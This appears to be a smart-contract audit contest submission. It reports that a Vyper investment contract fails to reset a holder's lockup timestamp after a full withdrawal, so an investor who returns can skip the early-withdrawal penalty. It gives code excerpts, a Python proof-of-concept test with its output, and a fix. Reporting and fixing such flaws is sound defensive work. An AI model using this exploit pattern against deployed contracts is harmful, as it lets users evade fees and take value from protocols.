Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

Early Withdrawal Penalty Bypassed

Author Revealed upon completion

Lockup Time Not Reset After Full Withdrawal

- Early Withdrawal Penalty Bypassed

Description

The protocol mandates a LOCKUP_PERIOD to encourage long-term holding by applying a 10% penalty for early withdrawals.

  • Normal Behavior: The timestamp of the first share acquisition (share_received_time) is used to calculate time_held and determine if the penalty applies. This timestamp should logically be cleared when a user holds zero shares.

  • Issue: When an investor performs a full withdrawal via withdraw_shares(), the function successfully sets self.shares[msg.sender] = 0. However, it fails to clear the historical timestamp: self.share_received_time[msg.sender] retains its old, non-zero value.

    When the same investor re-invests later, the logic in fund_investor() fails to set a new timestamp because the condition if self.share_received_time[msg.sender] == 0: evaluates to False.

    Consequently, the new investment is tied to the old, distant timestamp. Upon immediate withdrawal of the new shares, the time_held check passes (time_held > LOCKUP_PERIOD), and the investor successfully bypasses the early withdrawal penalty.

// src/Cyfrin_Hub.vy:291
@external
def withdraw_shares():
# ...
self.shares[msg.sender] = 0
self.issued_shares -= shares_owned
# @> CRITICAL: self.share_received_time[msg.sender] is NOT reset here
# ...
// src/Cyfrin_Hub.vy:366
@internal
@payable
def fund_investor():
# ...
@> if self.share_received_time[msg.sender] == 0:
self.share_received_time[msg.sender] = block.timestamp // This logic fails when old time is not zero
# ...

Risk

Likelihood: High

  • This mechanism is easily discovered and exploited by any investor after their initial lockup period expires once.

Impact: High

  • Economic Loss: The company permanently loses the penalty fee on all future "fresh" investments from returning users. This degrades the long-term holding incentive of the protocol.

Proof of Concept

The test confirms that after a user withdraws all shares (after the lockup expires), the remaining non-zero timestamp allows a subsequent re-investment to be withdrawn immediately without penalty.

# File: tests/unit/test_vulnerabilities_poc.py
import boa
import pytest
from eth_utils import to_wei
# Constants from the contracts
ITEM_PRICE = 2 * 10**16 # 0.02 ETH per item
INITIAL_SHARE_PRICE = 1 * 10**15 # 0.001 ETH
LOCKUP_PERIOD = 30 * 86400 # 30 days in seconds
def test_AP04_lockup_bypass_after_full_withdrawal(industry_contract, OWNER, PATRICK):
"""
Test AP-04: Lockup Reset Enables Early Withdrawal Bypass
This test verifies that share_received_time is not reset after full withdrawal,
allowing investors to bypass lockup period by re-investing.
"""
print("Testing AP-04: Lockup Bypass After Full Withdrawal")
# Arrange: Set up company and initial investment
with boa.env.prank(OWNER):
industry_contract.fund_cyfrin(0, value=to_wei(10, "ether"))
# PATRICK makes initial investment
initial_investment = to_wei(1, "ether")
with boa.env.prank(PATRICK):
industry_contract.fund_cyfrin(1, value=initial_investment)
initial_shares = industry_contract.get_my_shares(caller=PATRICK)
initial_time = industry_contract.share_received_time(PATRICK)
print(f"Initial shares: {initial_shares}")
print(f"Initial timestamp: {initial_time}")
# Fast forward time to allow withdrawal (past lockup)
boa.env.time_travel(LOCKUP_PERIOD + 1)
# PATRICK withdraws all shares
with boa.env.prank(PATRICK):
industry_contract.withdraw_shares()
shares_after_withdrawal = industry_contract.get_my_shares(caller=PATRICK)
time_after_withdrawal = industry_contract.share_received_time(PATRICK)
print(f"Shares after withdrawal: {shares_after_withdrawal}")
print(f"Timestamp after withdrawal: {time_after_withdrawal}")
# The vulnerability: timestamp is not reset to 0
if time_after_withdrawal != 0:
print("CONFIRMED: share_received_time not reset after full withdrawal")
# Now PATRICK re-invests
current_time = boa.env.evm.patch.timestamp
with boa.env.prank(PATRICK):
industry_contract.fund_cyfrin(1, value=to_wei(0.5, "ether"))
new_shares = industry_contract.shares(PATRICK)
new_time = industry_contract.share_received_time(PATRICK)
print(f"New shares after re-investment: {new_shares}")
print(f"New timestamp after re-investment: {new_time}")
print(f"Current blockchain time: {current_time}")
# Try immediate withdrawal (should fail if lockup works correctly)
try:
with boa.env.prank(PATRICK):
industry_contract.withdraw_shares()
# If we reach here, lockup was bypassed
final_shares = industry_contract.shares(PATRICK)
print(f"Final shares after immediate withdrawal: {final_shares}")
print("CONFIRMED: Lockup bypassed - immediate withdrawal successful")
except Exception as e:
print(f"Withdrawal failed as expected: {e}")
print("Lockup working correctly")
else:
print("Timestamp was properly reset to 0")

Verified Test Output:

mox test tests/unit/test_vulnerabilities_poc.py -v -s
tests/unit/test_vulnerabilities_poc.py::test_AP04_lockup_bypass_after_full_withdrawal Cyfrin Industry deployed at 0xC6Acb7D16D51f72eAA659668F30A40d87E2E0551
Testing AP-04: Lockup Bypass After Full Withdrawal
Initial shares: 0
Initial timestamp: 1761311473
Shares after withdrawal: 0
Timestamp after withdrawal: 1761311473
CONFIRMED: share_received_time not reset after full withdrawal
New shares after re-investment: 500
New timestamp after re-investment: 1761311473
Current blockchain time: 1763903474
Final shares after immediate withdrawal: 0
CONFIRMED: Lockup bypassed - immediate withdrawal successful
PASSED

Recommended Mitigation

The lockup timestamp must be reset whenever a user's share balance drops to zero.

// src/Cyfrin_Hub.vy
@external
def withdraw_shares():
shares_owned: uint256 = self.shares[msg.sender]
assert shares_owned > 0
# ...
self.shares[msg.sender] = 0
self.issued_shares -= shares_owned
+ self.share_received_time[msg.sender] = 0 # CRITICAL: Reset lockup baseline on zero shares
assert self.company_balance >= payout, "Insufficient company funds!!!"
# ...

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.